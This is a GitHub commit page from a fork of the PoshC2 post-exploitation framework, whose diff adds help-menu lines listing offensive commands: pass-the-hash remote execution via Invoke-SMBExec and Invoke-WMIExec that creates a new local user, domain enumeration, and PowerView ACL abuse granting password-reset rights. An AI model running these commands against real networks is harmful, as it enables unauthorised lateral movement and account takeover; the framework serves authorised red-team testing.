forked from nettitude/PoshC2_Old
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Added Powerview ACL Checker Functions to Help
- Loading branch information
1 parent
2b3cf56
commit e14f924
Showing
1 changed file
with
10 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -475,7 +475,16 @@ $header = ' | |
write-host " Invoke-SMBLogin -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash/-Password" -ForegroundColor Green | ||
write-host " Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash/-Pass -Command `"net user SMBExec Winter2017 /add`"" -ForegroundColor Green | ||
write-host " Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash/-Pass -Command `"net user SMBExec Winter2017 /add`"" -ForegroundColor Green | ||
write-host " Net View | Net Users | Whoami /groups | Whoami /priv | Net localgroup administrators | Net Accounts /dom" -ForegroundColor Green | ||
write-host " Net View | Net Users | Net localgroup administrators | Net Accounts /dom " -ForegroundColor Green | ||
write-host " Whoami /groups | Whoami /priv " -ForegroundColor Green | ||
write-host `n "Active Directory Enumeration: " -ForegroundColor Green | ||
write-host "==================" -ForegroundColor Red | ||
write-host " Invoke-ACLScanner" -ForegroundColor Green | ||
write-host " Get-ObjectACL -ResolveGUIDs -SamAccountName john" -ForegroundColor Green | ||
write-host " Add-ObjectACL -TargetSamAccountName arobbins -PrincipalSamAccountName harmj0y -Rights ResetPassword" -ForegroundColor Green | ||
write-host " Get-Netuser -admincount | select samaccountname" -ForegroundColor Green | ||
write-host " Get-Netgroup -admincount | select samaccountname" -ForegroundColor Green | ||
write-host " Get-NetGroupMember "Domain Admins" -recurse|select membername" -ForegroundColor Green | ||
write-host ' Get-NetUser -Filter | Select-Object samaccountname,userprincipalname' -ForegroundColor Green | ||
write-host ' Get-NetUser -Filter samaccountname=test' -ForegroundColor Green | ||
write-host ' Get-NetUser -Filter [email protected]' -ForegroundColor Green | ||
|